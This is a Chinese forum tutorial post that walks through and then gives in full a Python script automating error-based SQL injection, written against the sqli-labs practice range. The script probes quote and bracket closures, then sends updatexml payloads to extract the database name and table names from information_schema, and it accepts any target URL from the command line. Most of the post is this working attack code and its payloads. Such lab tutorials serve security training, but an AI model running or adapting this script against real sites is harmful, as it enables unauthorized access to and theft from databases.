首先我们可以导入我们需要进行测试的字符串列表
list = [“ “,”‘“,’”‘,’”)’,”‘)”]
从上面可以看出,我们进行测试的字符串有单引号,双引号,单引号+括号,双引号+括号,空白字符
OK,进入主函数
if __name__ == '__main__':
url = "http://localhost/sql/Less-1/?id=1"
for str in list:
check(url,str)
在这里我用的是sqli-labs靶场,这里不多赘述
检查模块check
def check(url,str):
"""
检查函数
:param url: 目标URL地址
:param str: 测试字符串
:return:
"""
payload = str + "and 456=123 -- qwe"
res1 = requests.get(url)
text1 = res1.content.decode('utf-8')
res2 = requests.get(url + payload)
text2 = res2.content.decode('utf-8')
if text2 != text1:
print("当时用{}闭合时存在注入".format(str))
print("正在进入攻击模块....")
exp(url,str)
大致思路是在有payload和没有payload的情况下分别对网站进行请求,看回显是否一样,在这里是默认进入攻击模块
攻击模块EXP:
def exp(url,str):
"""
攻击模块
:param url: 目标URL地址
:param str: 测试字符串
:return:
"""
get_DB_name(url,str)
get_table_name(url,str)
这里只有两个函数,一个是获取数据库库名,另外一个是获取数据库中的表名
获取数据库库名:
def get_DB_name(url,str):
payload = str + "and updatexml(1, concat(0x7e, database(), 0x7e), 1) -- qwe"
res = requests.get(url + payload)
text = res.content.decode('utf-8')
# print(text)
print(re.findall("~.*~",text,re.I))
我们可以通过正式课的学习得知,如果存在注入,那么在返回数据会有~,我们只要使用正则就可以得到相关数据
得到数据库的表名:
def get_table_name(url,str):
for i in range(1,20):
payload = str +" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit {},1),0x7e),1) -- qwe".format(i)
res = requests.get(url + payload)
text = res.content.decode('utf-8')
# print(text)
print("表名:",end=" ")
print(re.findall("~.*~", text, re.I))
在这里默认是少于20个表的,在执行时可以根据实际情况对payload进行适当更改
完整代码如下:
"""
基于报错注入的EXP
another:浩琦很好奇
"""
import requests
import re
import sys
def get_table_name(url,str):
for i in range(1,20):
payload = str +" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit {},1),0x7e),1) -- qwe".format(i)
res = requests.get(url + payload)
text = res.content.decode('utf-8')
# print(text)
print("表名:",end=" ")
print(re.findall("~.*~", text, re.I))
def get_DB_name(url,str):
payload = str + "and updatexml(1, concat(0x7e, database(), 0x7e), 1) -- qwe"
res = requests.get(url + payload)
text = res.content.decode('utf-8')
# print(text)
print(re.findall("~.*~",text,re.I))
def exp(url,str):
"""
攻击模块
:param url: 目标URL地址
:param str: 测试字符串
:return:
"""
get_DB_name(url,str)
get_table_name(url,str)
def check(url,str):
"""
检查模块
:param url: 目标URL地址
:param str: 测试字符串
:return:
"""
payload = str + "and 456=123 -- qwe"
res1 = requests.get(url)
text1 = res1.content.decode('utf-8')
res2 = requests.get(url + payload)
text2 = res2.content.decode('utf-8')
if text2 != text1:
print("当时用{}闭合时存在注入".format(str))
print("正在进入攻击模块....")
exp(url,str)
list = [" ","'",'"','")',"')"]
if __name__ == '__main__':
arg = sys.argv # 获取用户传递的参数
if len(arg) != 2: # 两个参数,一个是脚本的名字,一个是目标参数地址
print("[*]usage: python {} ip/域名".format(arg[0]))
else:
url = arg[1]
# "http://localhost/sql/Less-4/?id=1"
for str in list:
check(url,str)
# python updatexml_get_inject.py http://localhost/sql/Less-3/?id=1
结果如图:
最后,可不可以将你手中宝贵的赞给我一个呢哈哈哈,以后会持续更新的
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 10.00 | 0 | 2021-10-25 16:04:24 | 活动奖励 |
Track-劲夫 | 20.00 | 0 | 2021-10-25 16:04:08 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-劲夫
发表于 2021-10-25
加油
评论列表
加载数据中...